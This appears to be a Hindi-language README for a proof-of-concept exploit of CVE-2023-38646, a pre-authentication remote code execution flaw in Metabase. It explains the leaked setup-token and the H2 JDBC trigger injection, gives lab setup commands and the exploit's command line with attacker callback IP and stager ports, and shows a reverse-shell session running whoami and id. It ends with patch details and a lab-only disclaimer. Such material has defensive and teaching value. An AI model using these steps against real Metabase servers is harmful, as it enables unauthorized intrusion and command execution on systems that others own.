
रिपॉजिटरी में PoC और cve 2023-38646 को पुनः उत्पन्न करने के चरण शामिल हैं।
CVSS 9.8. Metabase के 0.46.6.1 / 1.46.6.1 से पहले के संस्करण (और समतुल्य
पुरानी ब्रांचें) /api/setup/validate एंडपॉइंट के माध्यम से प्री-ऑथेंटिकेशन RCE उजागर
करते हैं, जो प्रारंभिक सेटअप के दौरान डेटाबेस कनेक्शन विवरण सत्यापित करने के लिए है,
लेकिन सेटअप पूरा होने के बाद भी बिना प्रमाणीकरण के पहुँचा जा सकता है।
एंडपॉइंट डेटाबेस कनेक्शन पेलोड स्वीकार करता है और, जब engine: h2 के साथ एक
क्राफ्टेड JDBC कनेक्शन स्ट्रिंग निर्दिष्ट की जाती है, तो H2 की CREATE TRIGGER ... AS $$//javascript
सिंटैक्स के माध्यम से मनमाना JavaScript एम्बेड करने की अनुमति देता है। ट्रिगर बॉडी
सत्यापन समय पर निष्पादित होती है, जिससे हमलावर को JVM के अंदर JavaScript निष्पादन
मिलता है — जो java.lang.Runtime.getRuntime().exec() के माध्यम से आसानी से OS
कमांड निष्पादन तक बढ़ जाता है।
अंतर्निहित समस्या H2 डेटाबेस इंजन का डेटासोर्स को "सत्यापित" करने के हिस्से के रूप में कनेक्शन-स्ट्रिंग में एम्बेडेड कोड पर भरोसा करना है, और इसके साथ Metabase का इस सत्यापन पथ को प्री-ऑथ उजागर करना है।
metabase/metabase:v0.46.6 Docker इमेजrequests, termcolorकमजोर Metabase चलाएँ:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
एक्सप्लॉइट निर्भरताएँ इंस्टॉल करें:
pip3 install requests termcolor
/api/session/properties एक setup-token लीक करता है
जो एकमुश्त प्रारंभिक सेटअप प्रवाह को नियंत्रित करने के लिए है, लेकिन सेटअप पूरा होने के बाद भी
मान्य और उपयोग योग्य रहता है।java.lang.Runtime.getRuntime().exec() का उपयोग
करके हमलावर के HTTP सर्वर से bash स्टेजर प्राप्त करता है और कमांड आउटपुट को रॉ TCP
लिसनर पर base64-एन्कोडेड रूप में पाइप करता है।python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — हमलावर कॉलबैक IP (जब लक्ष्य स्थानीय कंटेनर हो तो Docker ब्रिज गेटवे, जैसे 172.17.0.1)-p — वह पोर्ट जिस पर रिवर्स डेटा चैनल वापस कनेक्ट होता है-P — स्थानीय HTTP सर्वर पोर्ट जो स्टेजर स्क्रिप्ट सर्व करता है-u — लक्ष्य Metabase बेस URLप्री-ऑथ कॉलबैक एक्सप्लॉइटेबिलिटी की पुष्टि करते ही यह इंटरैक्टिव metabase_shell > प्रॉम्प्ट में पहुँच जाता है।
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
metabase सेवा खाते के रूप में कमांड निष्पादन की पुष्टि हुई — प्री-ऑथ, बिना किसी क्रेडेंशियल की आवश्यकता। गंभीरता शून्य प्रमाणीकरण के साथ नेटवर्क-सुलभ RCE से उत्पन्न होती है, न कि परिणामी शेल के विशेषाधिकार स्तर से।
Metabase 0.46.6.1 / 1.46.6.1 और उसके बाद के संस्करणों में पैच किया गया — /api/setup/validate
एंडपॉइंट अब वास्तविक रूप से अधूरा सेटअप अनिवार्य करता है, और सेटअप टोकन प्रारंभिक सेटअप
समाप्त होते ही अमान्य कर दिए जाते हैं।
केवल पृथक लैब उपयोग के लिए। उन Metabase इंस्टेंस के विरुद्ध न चलाएँ जिनके मालिक आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।